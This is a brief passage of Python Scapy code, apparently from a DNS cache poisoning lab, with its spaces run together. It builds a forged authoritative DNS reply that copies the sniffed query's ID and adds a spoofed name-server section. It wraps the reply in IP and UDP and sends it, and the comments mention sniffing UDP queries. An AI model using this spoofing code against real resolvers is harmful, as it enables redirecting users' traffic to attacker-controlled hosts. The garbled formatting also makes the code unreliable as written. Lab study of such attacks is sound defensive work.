DNSpkt=DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qr=1,qdcount=1,nscount=1,ns=NSsec)# Construct the entireIPpacket and send it out spoofpkt=IPpkt/UDPpkt/DNSpktsend(spoofpkt)# SniffUDPquery packets and invoke